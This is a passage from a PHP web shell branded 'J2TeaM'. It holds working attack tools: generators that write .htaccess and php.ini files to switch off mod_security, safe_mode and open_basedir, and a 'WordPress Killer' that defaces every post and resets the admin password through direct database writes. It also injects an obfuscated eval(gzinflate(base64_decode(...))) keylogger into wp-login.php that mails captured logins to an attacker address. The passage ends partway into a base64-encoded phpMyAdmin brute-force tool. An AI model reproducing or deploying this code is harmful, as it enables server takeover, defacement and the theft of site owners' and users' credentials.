3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCnZhciBpZTQ1LG5zNixuczQsZG9tOw0KaWYgKG5hdmlnYXRvci5hcHBOYW1lPT0iTWljcm9zb2Z0IEludGVybmV0IEV4cGxvcmVyIikgaWU0NT1wYXJzZUludChuYXZpZ2F0b3IuYXBwVmVyc2lvbik+PTQ7DQplbHNlIGlmIChuYXZpZ2F0b3IuYXBwTmFtZT09Ik5ldHNjYXBlIil7ICBuczY9cGFyc2VJbnQobmF2aWdhdG9yLmFwcFZlcnNpb24pPj01OyAgbnM0PXBhcnNlSW50KG5hdmlnYXRvci5hcHBWZXJzaW9uKTw1O30NCmRvbT1pZTQ1IHx8IG5zNjsNCg0KZnVuY3Rpb24gZ2V0b2JqKGlkKSB7DQplbCA9IGRvY3VtZW50LmFsbCA/IGRvY3VtZW50LmFsbFtpZF0gOiAgIGRvbSA/IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKSA6ICAgZG9jdW1lbnQubGF5ZXJzW2lkXTsNCnJldHVybiBlbDsNCn0NCg0KZnVuY3Rpb24gY2hlY2thbGwoKQ0KCXsNCgkJZm9yICggaT0wO2kgPCBkb2N1bWVudC5maW5mby5lbGVtZW50cy5sZW5ndGggOyBpKysgKXsNCgkJCWlmICggZG9jdW1lbnQuZmluZm8uYWxsLmNoZWNrZWQ9PXRydWUgKXsNCgkJCQlkb2N1bWVudC5maW5mby5lbGVtZW50c1tpXS5jaGVja2VkID0gdHJ1ZTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlkb2N1bWVudC5maW5mby5lbGVtZW50c1tpXS5jaGVja2VkICA9IGZhbHNlOw0KCQkJfQ0KCQl9DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJnY29sb3I9IiMxRTQ3NkEiIGFsaWduPWNlbnRlciBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTE+DQoJPHRyPg0KCSAgPHRkIGFsaWduPWNlbnRlciBjbGFzcz0ibXRpdHRsZSIgdmFsaWduPSJtaWRkbGUiPjxiPlppcGVyPC9iPjwvdGQ+DQoJPHRkIGFsaWduPWNlbnRlciBjbGFzcz0iZnRpdHRsZSI+Q29weXJpZ2h0IDIwMDc8L2E+PC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjxicj4NCjw/cGhwIGlmICgkc3RlcCE9MCkgeyA/Pg0KPGJyIC8+DQo8dGFibGUgd2lkdGg9IjcwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjMiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJib3JkZXI6MXB4ICM2NjY2NjYgc29saWQiPg0KICA8dHI+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIGhlaWdodD0iMTAwIj48c3BhbiBpZD0ic3RhdHVzIj4NCgk8cD48aW1nIHNyYz0iaHR0cDovL2ltZzEyMC5pbWFnZXNoYWNrLnVzL2ltZzEyMC83NTgxL2xvYWRpbmdyZTAuZ2lmIiB3aWR0aD0iMjUwIiBoZWlnaHQ9IjIwIiAvPjwvcD4NCg0KICAgICAgICAgIDxwPlByb2Nlc3NpbmcgWmlwIEZvbGRlcnMgJmFtcDsgRmlsZXMgc2VsZWN0ZWQuPC9wPjwvc3Bhbj4NCgk8L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxicj4NCjw/cGhwIH0gZWxzZSB7ID8+DQo8Zm9ybSBhY3Rpb249Ij9zdGVwPTEiIGlkPSJmaW5mbyIgbmFtZT0iZmluZm8iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgd2lkdGg9IjYwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjMiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJib3JkZXI6MXB4ICM5OTk5OTkgc29saWQiPg0KPHRyPg0KICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMkI2MDgyOyBjb2xvcjojRkZGRkZGOyBwYWRkaW5nOjVweDsiIGFsaWduPSJsZWZ0Ij48Yj5DdXJyZW50IGRpcmVjdG9yeSA6IDxhIGhyZWY9Ij9kaXJuYW1lPS4iPlppcGVyPC9hPiA8P3BocA0KCWlmICgoIWVtcHR5KCRkaXJuYW1lKSkmJigkZGlybmFtZSE9Ii4iKSkgew0KCQkkbHBhdGggPSBleHBsb2RlKCIvIiwkZGlybmFtZSk7DQoJCWlmIChjb3VudCgkbHBhdGgpPjEpIGVjaG8gIi0gPGEgaHJlZj0nP2Rpcm5hbWU9eyRscGF0aFswXX0nPnskbHBhdGhbMF19PC9hPiI7DQoJfQ0KCT8+PC9iPjwvdGQ+DQogIDwvdHI+DQo8P3BocA0KZm9yICgkaT0wOyRpPGNvdW50KCRjdXJyZW50ZGlyKTskaSsrKSB7DQoJJGVudHJ5ID0gJGN1cnJlbnRkaXJbJGldOw0KCWlmICghaXNfZGlyKCRlbnRyeSkpIHsNCgkJJGNsYXNzPSJyb3dmaWxlIjsNCgkJJG5hbWUgPSAkZW50cnk7CQ0KCX0gZWxzZSB7DQoJCSRjbGFzcz0icm93ZGlyIjsNCgkJJG5hbWUgPSAiPGEgaHJlZj0nP2Rpcm5hbWU9eyRlbnRyeX0nPnskZW50cnl9PC9hPiI7DQovLwkJJG5hbWUgPSAkZW50cnk7CQ0KCQl9DQo/Pg0KICA8dHI+DQogICAgPHRkIGFsaWduPSJsZWZ0IiBjbGFzcz0iPD9waHAgZWNobyAkY2xhc3M/PiI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ6ZGlyW10iIHZhbHVlPSI8P3BocCBlY2hvICRlbnRyeT8+IiAvPiZuYnNwOzw/cGhwIGVjaG8gJG5hbWU/PjwvdGQ+DQogIDwvdHI+DQo8P3BocCB9ID8+DQo8dHI+DQogICAgPHRkIGFsaWduPSJsZWZ0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMkI2MDgyOyBjb2xvcjojRkZGRkZGIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImFsbCJvbmNsaWNrPSJqYXZhc2NyaXB0OmNoZWNrYWxsKCk7IiAvPiZuYnNwO1NlbGVjdCBhbGw8L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxiciAvPg0KPHRhYmxlIHdpZHRoPSI2MCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjEiIGNlbGxwYWRkaW5nPSIzIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRkZGRkZGIiBzdHlsZT0iYm9yZGVyOjFweCAjOTk5OTk5IHNvbGlkIj4NCjx0cj4NCiAgICA8dGQ+RmlsZSBuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHZhbHVlPSJKMlRlYU1femlwIiBzaXplPSI0MCIgLz4uemlwPC90ZD4NCgk8dGQgYWxpZ249InJpZ2h0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSImbmJzcDsmbmJzcDsmbmJzcDtTdGFydCZuYnNwOyZuYnNwOyZuYnNwOyIgLz48L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwIH0gPz4NCjxicj4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPg0KICA8dHI+DQogICAgPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiMzQTc0QUIiPjxhIGhyZWY9Imh0dHA6Ly9qdW5vb2t5by5ibG9nc3BvdC5jb20vIiBjbGFzcz0iYnRpdGxlIj5VbnppcDwvYT48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjMkI2MDgyIiBjbGFzcz0iYnRpdGxlIj4mY29weSAyMDA3PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8YnI+DQo8L2JvZHk+DQo8L2h0bWw+DQo8P3BocA0KaWYgKCRzdGVwPT0xKSB7DQoJJHpkaXIgPSAkX1BPU1RbJ3pkaXInXTsNCglpZiAoY291bnQoJHpkaXIpPjApIHsNCgkJJGRpcmFycmF5PWFycmF5KCk7DQoJCSRkaXJzaXplPTA7DQoJCSR6ZGlyc2l6ZT0wOw0KCQlmb3IgKCRpPTA7JGk8Y291bnQoJHpkaXIpOyRpKyspIHsNCgkJCSRmZmlsZSA9ICR6ZGlyWyRpXTsNCgkJCWlmIChpc19kaXIoJGZmaWxlKSkgew0KCQkJCWdldGRpcigkZmZpbGUpOw0KCQkJfSBlbHNlIHsNCgkJCQlpZiAoJGZzaXplPUBmaWxlc2l6ZSgkZmZpbGUpKSAkemRpcnNpemUrPSRmc2l6ZTsNCgkJCX0NCgkJfQ0KCQkkemRpcnNpemUrPSRkaXJzaXplOw0KCQlmb3IgKCRpPTA7JGk8Y291bnQoJGRpcmFycmF5KTskaSsrKSB7DQoJCQkkemRpcltdID0gJGRpcmFycmF5WyRpXTsNCgkJfQ0KCQlpZiAoIUBpc19kaXIoJGNvbmZbJ2RpciddKSkgew0KCQkJJHJlcyA9IEBta2RpcigkY29uZlsnZGlyJ10sMDc3Nyk7DQoJCQlpZiAoISRyZXMpICR0eHRvdXQgPSAnQ2Fubm90IGNyZWF0ZSBkaXIhPGJyPic7DQoJCX0gZWxzZSBAY2htb2QoJGNvbmZbJ2RpciddLDA3NzcpOw0KCQ0KCQkkemlwbmFtZSA9ICRfUE9TVFsnZmlsZW5hbWUnXTsNCgkJJHppcG5hbWU9c3RyX3JlcGxhY2UoJy8nLCcnLCR6aXBuYW1lKTsNCgkJaWYgKGVtcHR5KCR6aXBuYW1lKSkgJHppcG5hbWU9J2oydGVhbV96aXAnOw0KCQkkemlwbmFtZS49Jy56aXAnOw0KCQkNCgkJJHppcGVyID0gbmV3IHppcGZpbGUoKTsNCgkJJHppcGVyLT5hZGRGaWxlcygkemRpcik7DQoJCSR6aXBlci0+b3V0cHV0KCJ7JGNvbmZbJ2RpciddfS97JHppcG5hbWV9Iik7DQoJCQ0KCQlpZiAoJGZzaXplPUBmaWxlc2l6ZSgieyRjb25mWydkaXInXX0veyR6aXBuYW1lfSIpKSAkemlwc2l6ZT0kZnNpemU7DQoJCWVsc2UgJHppcHNpemU9MDsNCgkJDQoJCSR6ZGlyc2l6ZSA9IHNpemVfZm9ybWF0KCR6ZGlyc2l6ZSk7DQoJCSR6aXBzaXplID0gc2l6ZV9mb3JtYXQoJHppcHNpemUpOw0KCQk/Pg0KCQk8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij5nZXRvYmooJ3N0YXR1cycpLmlubmVySFRNTD0iPHA+PGI+WmlwIHN1Y2Nlc3NmdWwhPC9iPjwvcD48cD5Eb3dubG9hZDogPGEgaHJlZj0nPD9waHAgZWNobyAkY29uZlsnZGlyJ10/Pi88P3BocCBlY2hvICR6aXBuYW1lPz4nPjw/cGhwIGVjaG8gJHppcG5hbWU/PjwvYT48L3A+PHA+T3JpZ2luYWwgc2l6ZTogPD9waHAgZWNobyAkemRpcnNpemU/PiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgWmlwIHNpemU6IDw/cGhwIGVjaG8gJHppcHNpemU/PjwvcD4iOzwvc2NyaXB0Pg0KCQk8P3BocA0KCX0gZWxzZSB7DQoJCT8+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Z2V0b2JqKCdzdGF0dXMnKS5pbm5lckhUTUw9Ik5vIGZpbGUgb3IgZm9sZGVyIHNlbGVjdGVkICEiOzwvc2NyaXB0Pjw/cGhwDQoJfQ0KfQ0KPz4=';
1645 $J2TeaM->make_file('./', 'zip.php', $code);
1646 p('<div align="center">');
1647 p($J2TeaM->get_frame('zip.php', '80%'));
1648 formfooter('Remove');
1649 p('</div>');
1650 }
1651}
1652
1653elseif ($action == 'unzip') {
1654 if ( ! class_exists('ZipArchive')) alert('Error: Zip extension has been disabled.');
1655 else {
1656 if ($file && $path) alert($J2TeaM->unzip($file, $path));
1657 formhead(array('title' => 'UnZip - Extract a ZIP file archive'));
1658 makehide('action', $action);
1659 p('<p>ZIP File:');
1660 makeinput(array('name' => 'file', 'value' => './upload.zip', 'size' => 20, 'extra' => 'required'));
1661 p('Path to extract:');
1662 makeinput(array('name' => 'path', 'value' => './', 'size' => 50, 'extra' => 'required'));
1663 makeinput(array('name'=>'submit', 'type'=>'submit', 'value' => 'Extract'));
1664 p('</p>');
1665 formfoot();
1666 }
1667}
1668
1669elseif ($action == 'decoder') {
1670 $type = (isset($type)) ? $type : 1;
1671 if ($code && $type && $submit) {
1672 $tags = array('<?php', '?>', '<?');
1673 $code = str_replace($tags, '', $code);
1674 $code = trim($code);
1675 $type = $_POST['type'];
1676 switch ($type)
1677 {
1678 case 0:
1679 if (check_str($code, 'eval(base64_decode('))
1680 {
1681 while (1)
1682 {
1683 if (preg_match('/(?<=eval\(base64_decode\([\'"])(.+)(?=[\'"]\))/si', $code, $regs))
1684 {
1685 $code = str_replace('));', ');', $regs[0]);
1686 $code = base64_decode($code);
1687 }
1688 else break;
1689 }
1690 } else alert('Error');
1691 break;
1692 case 1:
1693 if (check_str($code, 'gzinflate(base64_decode('))
1694 {
1695 while (1)
1696 {
1697 if (preg_match('/(?<=gzinflate\(base64_decode\([\'"])(.+)(?=[\'"]\))/si', $code, $regs))
1698 {
1699 $code = $regs[0];
1700 $code = str_replace('));', ');', $code);
1701 $code = gzinflate(base64_decode($code));
1702 }
1703 else break;
1704 }
1705 } else alert('Error');
1706 break;
1707 case 2:
1708 if (check_str($code, 'gzinflate(str_rot13(base64_decode('))
1709 {
1710 while (1)
1711 {
1712 if (preg_match('/(?<=gzinflate\(str_rot13\(base64_decode\([\'"])(.+)(?=[\'"]\))/si', $code, $regs))
1713 {
1714 $code = $regs[0];
1715 $code = str_replace('));', ');', $code);
1716 $code = gzinflate(str_rot13(base64_decode($code)));
1717 }
1718 else break;
1719 }
1720 } else alert('Error');
1721 break;
1722 default:
1723 break;
1724 }
1725 $code = htmlspecialchars($code);
1726 }
1727 formhead(array('title' => 'PHP Decoder'));
1728 makehide('action', $action);
1729 p('<p>');
1730 maketext(array('name'=>'code', 'title'=>'Input', 'value' => $code, 'extra'=>'required'));
1731 makeselect(array('name' => 'type', 'option' => array('base64_decode', 'gzinflate + base64_decode', 'gzinflate + str_rot13 + base64_decode'), 'selected' => $type));
1732 makeinput(array('name'=>'submit', 'type'=>'submit', 'value' => 'Decode'));
1733 p('</p>');
1734 formfoot();
1735}
1736
1737elseif ($action == 'bypass_sv') {
1738 if ($path && $submit) {
1739 $data = array();
1740 if ($type == 0) {
1741 $data['name'] = '.htaccess';
1742 $data['source'] = 'PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+';
1743 } elseif ($type == 1) {
1744 $data['name'] = '.htaccess';
1745 $data['source'] = 'T3B0aW9ucyArRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGoydGVhbS5odG1sDQpPcHRpb25zICtJbmRleGVz';
1746 } elseif ($type == 2) {
1747 $data['name'] = 'php.ini';
1748 $data['source'] = 'c2FmZV9tb2RlID0gT2ZmDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCnNhZmVfbW9kZV9naWQgPSBPRkYNCm9wZW5fYmFzZWRpciA9IE9GRg==';
1749 } else {
1750 $data['name'] = 'ini.php';
1751 $data['source'] = 'PD9waHANCmluaV9yZXN0b3JlKCdzYWZlX21vZGUnKTsNCmluaV9yZXN0b3JlKCdvcGVuX2Jhc2VkaXInKTsNCj8+';
1752 }
1753 if ($J2TeaM->make_file($path, $data['name'], $data['source'])) alert($data['name'] . ' has been created!');
1754 else alert('Error: Can not write file. Please try again!');
1755 }
1756 formhead(array('title' => 'Bypass Security'));
1757 makehide('action', $action);
1758 p('<p>Path:');
1759 makeinput(array('name'=>'path', 'size' => 40, 'value' => './', 'extra'=>'required'));
1760 makeselect(array('name' => 'type', 'option' => array('Off Mod Security (.htaccess)', 'Bypass Symlink (.htaccess)', 'Bypass Safe_Mode and Disable Functions (php.ini)', 'Bypass Safe_Mode (ini.php)')));
1761 makeinput(array('name'=>'submit', 'type'=>'submit', 'value' => 'Generate'));
1762 p('</p>');
1763 formfoot();
1764}
1765
1766elseif ($action == 'wp_killer') {
1767 formhead(array('title' => 'WordPress Killer - Select Function'));
1768 makehide('action', $action);
1769 p('<p>');
1770 makeinput(array('name'=>'page', 'type'=>'submit', 'value' => 'Get Info'));
1771 makeinput(array('name'=>'page', 'type'=>'submit', 'value' => 'Index Changer'));
1772 makeinput(array('name'=>'page', 'type'=>'submit', 'value' => 'Change Admin Password'));
1773 makeinput(array('name'=>'page', 'type'=>'submit', 'value' => 'Inject Keylogger'));
1774 makeinput(array('name'=>'page', 'type'=>'submit', 'value' => 'Check Disclosure Path'));
1775 p('</p>');
1776 formfoot();
1777 $page = (isset($page)) ? $page : 'Get Info';
1778 if ($page == 'Get Info') {
1779 if ($submit && $url) {
1780 $url = trim($url);
1781 $user = $version = '(Unknow)';
1782 $source = @file_get_contents($url . '?author=1');
1783 if (preg_match('%application/rss\+xml.+(author/(.+)/feed/)%i', $source, $regs)) $user = $regs[2];
1784
1785 // Get version
1786 if (preg_match('%<meta name="generator" content="(.+?)" />%si', $source, $regs))
1787 $version = $regs[1];
1788 else {
1789 $source = @file_get_contents($url . '/readme.html');
1790 if (preg_match('%.*wordpress-logo.png" /></a>\n.*<br />.* (\d+\.\d+[\.\d+]*)\n</h1>%', $source, $regs))
1791 $version = $regs[1];
1792 }
1793 $result = 'Target URL: ' . htmlentities($url) . "\n\n";
1794 $result .= 'Version: ' . $version . "\n\n";
1795 $result .= 'Admin username: ' . rtrim($user);
1796 }
1797 formhead(array('title' => 'Get WordPress Information'));
1798 makehide('action', $action);
1799 makehide('page', $page);
1800 p('<p>Target URL:');
1801 makeinput(array('type' => 'url', 'name'=>'url', 'size' => 40, 'extra'=>'placeholder="http://www.example.com/blog/" required'));
1802 makeinput(array('name'=>'submit', 'type'=>'submit', 'value' => 'Check'));
1803 if (isset($result)) maketext(array('title' => 'Result', 'value' => $result, 'rows' => 5, 'cols' => 58, 'extra'=>'readonly=""'));
1804 p('</p>');
1805 formfoot();
1806 } elseif ($page == 'Index Changer') {
1807 if (isset($content) && $content != '') {
1808 if (dbconn($dbhost, $dbuser, $dbpass)) {
1809 if (mysql_select_db($dbname)) {
1810 if (q("UPDATE `{$dbprefix}posts` SET `post_content`='{$content}',`post_title`='{$content}' WHERE 1")) alert('Change index was successful!');
1811 else alert('Error: Change index failed.');
1812 } else alert('Can not select Database.');
1813 } else alert('Can not connect to Database.');
1814 }
1815 !$dbhost && $dbhost = 'localhost';
1816 !$dbuser && $dbuser = 'root';
1817 !$dbport && $dbport = '3306';
1818 formhead(array('title' => 'WordPress Index Changer'));
1819 makehide('action', $action);
1820 makehide('page', $page);
1821 p('<p>Host:');
1822 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1823 p(':');
1824 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1825 p('User:');
1826 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1827 p('Password:');
1828 makeinput(array('name'=>'dbpass','size'=>15));
1829 p('DB Name:');
1830 makeinput(array('name'=>'dbname','size'=>15));
1831 p('DB Prefix:');
1832 makeinput(array('name'=>'dbprefix','size'=>15, 'value' => 'wp_'));
1833 maketext(array('name' => 'content', 'value' => 'Checked by J2TeaM.', 'title' => 'Content', 'rows' => 15, 'cols' => 85, 'extra' => 'required'));
1834 p('</p>');
1835 formfooter('Update');
1836 } elseif ($page == 'Change Admin Password') {
1837 if (isset($new_pass) && $new_pass != '') {
1838 if (dbconn($dbhost, $dbuser, $dbpass)) {
1839 if (mysql_select_db($dbname)) {
1840 $pwd = md5($new_pass);
1841 if (q("UPDATE `{$dbprefix}users` SET `user_pass`='{$pwd}' WHERE `ID`=1")) {
1842 if ($username = q("SELECT `user_login` FROM `{$dbprefix}users` WHERE `ID`=1")) {
1843 $username = mysql_fetch_array($username);
1844 $username = $username['user_login'];
1845 } else $username = '';
1846 $alert = ($username != '') ? "Success: Username: {$username} | Password: {$new_pass}" : 'Change admin password successful!';
1847 alert($alert);
1848 } else alert('Error: Change password failed.');
1849 } else alert('Can not select Database.');
1850 } else alert('Can not connect to Database.');
1851 }
1852 !$dbhost && $dbhost = 'localhost';
1853 !$dbuser && $dbuser = 'root';
1854 !$dbport && $dbport = '3306';
1855 formhead(array('title' => $page));
1856 makehide('action', $action);
1857 makehide('page', $page);
1858 p('<p>Host:');
1859 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1860 p(':');
1861 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1862 p('User:');
1863 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1864 p('Password:');
1865 makeinput(array('name'=>'dbpass','size'=>15));
1866 p('DB Name:');
1867 makeinput(array('name'=>'dbname','size'=>15));
1868 p('DB Prefix:');
1869 makeinput(array('name'=>'dbprefix','size'=>15, 'value' => 'wp_'));
1870 p('<p></p>New Admin Password:');
1871 makeinput(array('name'=>'new_pass','size'=>28, 'value' => 'j2team', 'extra' => 'required'));
1872 makeinput(array('type'=>'submit', 'value' => 'Change'));
1873 p('</p>');
1874 formfoot();
1875 } elseif ($page == 'Inject Keylogger') {
1876 if ($log_mail && $file_path) {
1877 $code = "eval(gzinflate(base64_decode('VVLbTsJAEH2GhH+YkE12Gy5VfOOqUR4woKSAiSlkU2mRml422zZojP/uDF0EX3Zn55w5M3Oyo2F/pPaqVg13IMJMZoUKtPT8OEwEsCILdGs4eQDLgu9atcIKHcEAmFyMnZex4/Lylk93szHfQPsSuXcm86VBelQbpe9Y62ntfQl8VzipJ14ccBgMT73olMgMk+aRo7wsO6TaLzly/rxYulwdfL5B2OqZmWQHlYNPFaV+ILjNm0DZM3yDMN/nueraNqfsLtUgWIjpqx7g3YdtWiS5KMUsaME15RsNC4xAe1BGHZeFtCkvhVhWvH0E25waTHFBjpDv5TiFb8f2K7eI2j2mS6FjUZyRFXxlDDA4ru2eTaEm9XWyTuokMTc+XFL/vPlPnZJ7sHKmXTitbLpT79vYCyPBHjtLOcMInTIbYIRjkWc/tepByczbBVIHfqgRFOwUyTwlzgj/zS8=')));";
1878 $code = '$J2T_Mail = \'' . $log_mail . '\'; ' . $code;
1879 if (file_exists($file_path)) {
1880 $old_code = @file_get_contents($file_path);
1881 if (check_str($old_code, 'wp_safe_redirect($redirect_to)')) {
1882 $new_code = str_replace('wp_safe_redirect($redirect_to);', $code, $old_code);
1883 if (@file_put_contents($file_path, $new_code)) alert('Inject successful!');
1884 else alert('Error: Inject failed.');
1885 } else alert('Error: Can not inject.');
1886 } else alert('Error: File is not exist.');
1887 }
1888 formhead(array('title' => $page));
1889 makehide('action', $action);
1890 makehide('page', $page);
1891 p('<p>Your Email:');
1892 makeinput(array('name'=>'log_mail','size'=>30,'type' => 'email', 'value' => 'junookyo@gmail.com', 'extra' => 'required'));
1893 p('Path:');
1894 makeinput(array('name'=>'file_path','size'=>50, 'value' => '/home/user_victim/public_html/wp-login.php', 'extra' => 'required'));
1895 makeinput(array('type'=>'submit', 'value' => 'Inject'));
1896 p('</p>');
1897 formfoot();
1898 } elseif ($page == 'Check Disclosure Path') {
1899 if ($url) {
1900 if (preg_match('/in (.+?)wp-includes.registration-functions/si', @file_get_contents($url . '/wp-includes/registration-functions.php'), $regs)) alert('Success: Full Path => ' . $regs[1]);
1901 else alert('Error: Disclosure Path not found.');
1902 }
1903 formhead(array('title' => $page));
1904 makehide('action', $action);
1905 makehide('page', $page);
1906 p('<p>URL:');
1907 makeinput(array('name'=>'url', 'type' => 'url', 'size'=>50, 'extra'=>'placeholder="http://www.example.com/blog/" required'));
1908 makeinput(array('type'=>'submit', 'value' => 'Check'));
1909 p('</p>');
1910 formfoot();
1911 }
1912}
1913
1914elseif ($action == 'phpadm_brute') {
1915 if (check_str($disable_functions, 'fopen')) alert('Error: fopen() has been disabled.');
1916 else {
1917 if ($rm_temp && $rm_temp == 'yes') {
1918 @unlink(SA_ROOT . 'phpMyAdmin_brute.php');
1919 header('Location: ' . SELF);
1920 exit;
1921 }
1922 formhead(array('title' => 'phpMyAdmin Brute Force'));
1923 makehide('action', $action);
1924 makehide('rm_temp', 'yes');
1925 $code = 'PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgZGlyPSJsdHIiPg0KPGhlYWQ+DQo8dGl0bGU+UGhwTXlBZG1pbiBCcnV0ZSBGb3JjZTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPnRkLHRye3RleHQtYWxpZ246Y2VudGVyO310ZDpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7fWlucHV0W3R5cGU9c3VibWl0XSB7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyOiAycHggc29saWQgIzBGMDt9aW5wdXQsIHRleHRhcmVhIHtib3JkZXI6IDFweCBzb2xpZCAjMEYwO2JvcmRlci1yYWRpdXM6IDJweDtiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwO2NvbG9yOiAjMEYwO2ZvbnQtc2l6ZTogMTRweDtmb250LWZhbWlseTogQXJpYWw7Zm9udC13ZWlnaHQ6IGJvbGQ7cGFkZGluZzogM3B4O31ib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzO2NvbG9yOiAjMEYwO308L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KCTxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCTx0YWJsZSB3aWR0aD0iMjAlIj4NCgkJCTx0cj4NCgkJCQk8dGQgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlcnZlciIgcGxhY2Vob2xkZXI9Imh0dHA6Ly9leGFtcGxlLmNvbS9waHBteWFkbWluLyIgc2l6ZT0iNTAiIHN0eWxlPSJkaXJlY3Rpb246bHRyOyIgcmVxdWlyZWQgLz48L3RkPg0KCQkJPC90cj4NCgkJCTx0cj4NCgkJCQk8dGQ+UGFzc3dvcmRzPC90ZD4NCgkJCQk8dGQ+VXNlcnM8L3RkPg0KCQkJPC90cj4NCgkJCTx0cj4NCgkJCQk8dGQ+PHRleHRhcmVhIG5hbWU9InBhc3N3b3JkcyIgY29scz0iMjAiIHJvd3M9IjIwIiBzdHlsZT0iZGlyZWN0aW9uOmx0cjsiIHJlcXVpcmVkPjwvdGV4dGFyZWE+PC90ZD4NCgkJCQk8dGQ+PHRleHRhcmVhIG5hbWU9InVzZXJuYW1lcyIgY29scz0iMjAiIHJvd3M9IjIwIiBzdHlsZT0iZGlyZWN0aW9uOmx0cjsiIHJlcXVpcmVkPjwvdGV4dGFyZWE+PC90ZD4NCgkJCTwvdHI+DQoJCQk8dHI+DQoJCQkJPHRkPk9sZCBWZXJzaW9uPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlMSIgdmFsdWU9Im9sZCIgPD9waHAgZWNobyAoJF9QT1NUWyd0eXBlMSddPT0nb2xkJykgPyAnY2hlY2tlZCcgOiAnJyA/Pj48L3RkPg0KCQkJCTx0ZD5OZXcgVmVyc2lvbjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZTEiIHZhbHVlPSJuZXciIDw/cGhwIGVjaG8gKCRfUE9TVFsndHlwZTEnXT09J25ldycpID8gJ2NoZWNrZWQnIDogJycgPz4+PC90ZD4NCgkJCTwvdHI+DQoJCQk8dHI+DQoJCQkJPHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iU3RhcnQiIC8+PC90ZD4NCgkJCTwvdHI+DQoJCTwvdGFibGU+DQoJPC9mb3JtPg0KPD9waHANCiR2ZXIgPSAoJHR5cGU9PSdvbGQnKSA/IDEgOiAyOw0KJGFycmF5ID0gYXJyYXkoIiAiLCJcbiIsIiAiKTsNCmlmKGlzc2V0KCRfUE9TVFsnc3RhcnQnXSkgYW5kICEgZW1wdHkoJF9QT1NUWyd1c2VybmFtZXMnXSkgYW5kICEgZW1wdHkoJF9QT1NUWydwYXNzd29yZHMnXSkgYW5kICEgZW1wdHkoJF9QT1NUWydzZXJ2ZXInXSkpIHsNCgkkdXNlcm5hbWVzID0gdHJpbSgkX1BPU1RbJ3VzZXJuYW1lcyddKTsNCgkkcGFzc3dvcmRzID0gdHJpbSgkX1BPU1RbJ3Bhc3N3b3JkcyddKTsNCgkkc2VydmVyID0gdHJpbSgkX1BPU1RbJ3NlcnZlciddKTsNCgkkc3VibWl0ID0gJF9QT1NUWydzdGFydCddOw0KCSR0eXBlID0gJF9QT1NUWyd0eXBlMSddOw0KCSRleHVzZ